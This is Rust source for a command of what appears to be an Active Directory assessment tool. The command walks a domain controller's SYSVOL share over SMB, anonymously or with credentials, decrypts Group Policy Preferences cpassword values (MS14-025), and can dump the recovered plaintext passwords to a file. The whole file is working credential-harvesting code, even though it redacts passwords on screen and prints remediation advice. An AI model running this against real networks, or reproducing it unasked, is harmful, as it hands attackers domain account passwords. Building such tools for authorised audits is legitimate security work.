use adhammer_core::sanitize_terminal_output as san;
use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct SysvolArgs {
#[arg(long)]
pub host: String,
#[arg(long)]
pub anon: bool,
#[arg(long)]
pub user: Option<String>,
#[arg(long, default_value = "")]
pub password: String,
#[arg(long, default_value = "")]
pub domain: String,
#[arg(long, default_value = "SYSVOL")]
pub share: String,
#[arg(long, default_value = "")]
pub start: String,
#[arg(long)]
pub dump: Option<String>,
#[arg(long)]
pub json: bool,
}
struct Recovered {
file: String,
account: String,
secret: adhammer_core::SecretString,
}
#[derive(Default)]
struct SysvolReport {
reachable: bool,
null_session: bool,
share_read: bool,
xml_files: usize,
recovered: Vec<Recovered>,
notes: Vec<String>,
}
const MAX_DIRS: usize = 20_000;
const MAX_DEPTH: usize = 16;
const MAX_XML_READ: usize = 5_000;
pub(crate) async fn sysvol(a: SysvolArgs) -> Result<()> {
use smb2_client::SmbClient;
if a.anon == a.user.is_some() {
anyhow::bail!("pass exactly one of --anon (no-cred) or --user <name> (authenticated walk)");
}
let mode = if a.anon { "anonymous" } else { "authenticated" };
let sp = crate::ui::Spinner::start(format!("{mode} SYSVOL walk → {}", a.host));
let mut rep = SysvolReport::default();
let mut smb = match SmbClient::connect(&a.host).await {
Ok(s) => s,
Err(e) => {
sp.done_warn(&format!("SMB connect failed: {e}"));
rep.notes.push(format!("connect: {e}"));
return emit(&a, &rep);
}
};
rep.reachable = true;
let login = if a.anon {
smb.login_null(&a.host).await
} else {
let pw = crate::resolve_secret(&a.password, "ADHAMMER_PASSWORD")?;
smb.login(&a.host, &a.domain, a.user.as_deref().unwrap_or(""), &pw)
.await
};
if let Err(e) = login {
sp.done(&format!("{}: {mode} session refused", a.host));
rep.notes.push(format!("{mode} session refused: {e}"));
return emit(&a, &rep);
}
rep.null_session = true;
if let Err(e) = smb
.tree_connect(&format!("\\\\{}\\{}", a.host, a.share))
.await
{
sp.done(&format!(
"{}: {} tree-connect refused (hardened)",
a.host, a.share
));
rep.notes.push(format!("{} tree-connect: {e}", a.share));
return emit(&a, &rep);
}
let mut stack: Vec<(String, usize)> = vec![(a.start.clone(), 0)];
let mut dirs_seen = 0usize;
let mut xml_read = 0usize;
let mut first_list_ok = false;
while let Some((dir, depth)) = stack.pop() {
if dirs_seen >= MAX_DIRS || depth > MAX_DEPTH {
continue;
}
dirs_seen += 1;
let entries = match smb.list_directory(&dir).await {
Ok(e) => e,
Err(e) => {
if dir == a.start {
sp.done(&format!("{}: {} read refused (hardened)", a.host, a.share));
rep.notes.push(format!("list {}: {e}", a.share));
return emit(&a, &rep);
}
rep.notes.push(format!("list {}: {e}", san(&dir)));
continue;
}
};
first_list_ok = true;
for ent in entries {
let path = if dir.is_empty() {
ent.name.clone()
} else {
format!("{dir}\\{}", ent.name)
};
if ent.is_dir {
stack.push((path, depth + 1));
} else if is_gpp_xml(&ent.name) && xml_read < MAX_XML_READ {
xml_read += 1;
rep.xml_files += 1;
match smb.read_file(&path).await {
Ok(bytes) => scan_xml(&path, &bytes, &mut rep),
Err(e) => rep.notes.push(format!("read {}: {e}", san(&path))),
}
}
}
}
rep.share_read = first_list_ok;
let n = rep.recovered.len();
if n > 0 {
sp.done(&format!(
"{}: {} GPP cpassword(s) recovered via {mode} walk [MS14-025]",
a.host, n
));
} else {
sp.done(&format!(
"{}: {} share read · {} GPP XML scanned · no cpassword",
a.host, a.share, rep.xml_files
));
}
if let Some(path) = &a.dump {
if rep.recovered.is_empty() {
crate::ui::warn("--dump: nothing recovered, no artifact written");
} else {
let mut body = format!(
"# GPP cpassword recovery (MS14-025) — {} SYSVOL walk of {}\n",
if a.anon { "anonymous" } else { "authenticated" },
a.host
);
for r in &rep.recovered {
body.push_str(&format!(
"{}\t{}\t{}\n",
r.file,
r.account,
r.secret.expose_secret()
));
}
adhammer_core::write_secret_artifact(
std::path::Path::new(path),
adhammer_core::SecretArtifact::GppDump,
body.as_bytes(),
)?;
println!("[+] recovered credentials written → {path} (0600)");
}
}
emit(&a, &rep)
}
fn is_gpp_xml(name: &str) -> bool {
name.to_ascii_lowercase().ends_with(".xml")
}
fn scan_xml(path: &str, bytes: &[u8], rep: &mut SysvolReport) {
let xml = String::from_utf8_lossy(bytes);
for (cpassword, account) in adhammer_sysvol::gpp::extract_cpasswords(&xml) {
match adhammer_sysvol::gpp::decrypt_cpassword(&cpassword) {
Ok(secret) => rep.recovered.push(Recovered {
file: san(path),
account: san(&account.unwrap_or_else(|| "(unknown)".into())),
secret,
}),
Err(e) => rep.notes.push(format!("decrypt {}: {e}", san(path))),
}
}
}
fn emit(a: &SysvolArgs, r: &SysvolReport) -> Result<()> {
if a.json {
let recs = r
.recovered
.iter()
.map(|rec| {
format!(
"{{\"file\":\"{}\",\"account\":\"{}\",\"recovered\":true}}",
jesc(&rec.file),
jesc(&rec.account)
)
})
.collect::<Vec<_>>()
.join(",");
let notes = r
.notes
.iter()
.map(|n| format!("\"{}\"", jesc(n)))
.collect::<Vec<_>>()
.join(",");
println!(
"{{\"host\":\"{}\",\"share\":\"{}\",\"anon\":{},\"reachable\":{},\"session\":{},\"share_read\":{},\"xml_scanned\":{},\"cpasswords\":[{}],\"notes\":[{}]}}",
jesc(&a.host),
jesc(&a.share),
a.anon,
r.reachable,
r.null_session,
r.share_read,
r.xml_files,
recs,
notes
);
return Ok(());
}
let mode = if a.anon { "anonymous" } else { "authenticated" };
println!(
"\n== {} — {mode} SYSVOL ({}) ==",
san(&a.host),
san(&a.share)
);
if !r.reachable {
println!(" SMB (445) not reachable");
} else if !r.null_session {
if a.anon {
println!(" null session refused — DC hardened against anonymous SMB.");
} else {
println!(" authenticated session refused — bad credentials or SMB login blocked.");
}
} else if !r.share_read {
if a.anon {
println!(
" {} not readable anonymously — DC hardened (this is the secure posture).",
san(&a.share)
);
} else {
println!(
" {} not readable by this user (unexpected).",
san(&a.share)
);
}
} else if r.recovered.is_empty() {
println!(
" {} readable ({mode}) · {} GPP XML scanned · no recoverable cpassword.",
san(&a.share),
r.xml_files
);
} else {
let how = if a.anon {
"ANONYMOUSLY — instant credentials from zero creds"
} else {
"by any authenticated user"
};
println!(
" {} GPP cpassword(s) recoverable {how} [MS14-025]:",
r.recovered.len()
);
for rec in &r.recovered {
println!(
" {} account={} password=[REDACTED]",
rec.file, rec.account
);
}
if a.dump.is_none() {
println!(
" (pass --dump <path> to write the decrypted credentials to a 0600 artifact.)"
);
}
println!(
" ** remediation: GPP passwords are decryptable by anyone (public MS key). Remove \
cpassword from SYSVOL and rotate the affected accounts."
);
}
if !r.notes.is_empty() {
println!(" detail:");
for n in r.notes.iter().take(20) {
println!(" - {}", san(n));
}
if r.notes.len() > 20 {
println!(" … {} more", r.notes.len() - 20);
}
}
Ok(())
}
fn jesc(s: &str) -> String {
let clean = adhammer_core::sanitize_terminal_output(s);
let mut out = String::with_capacity(clean.len());
for c in clean.chars() {
match c {
'"' => out.push_str("\\\""),
'\\' => out.push_str("\\\\"),
c if (c as u32) < 0x20 => out.push_str(&format!("\\u{:04x}", c as u32)),
c => out.push(c),
}
}
out
}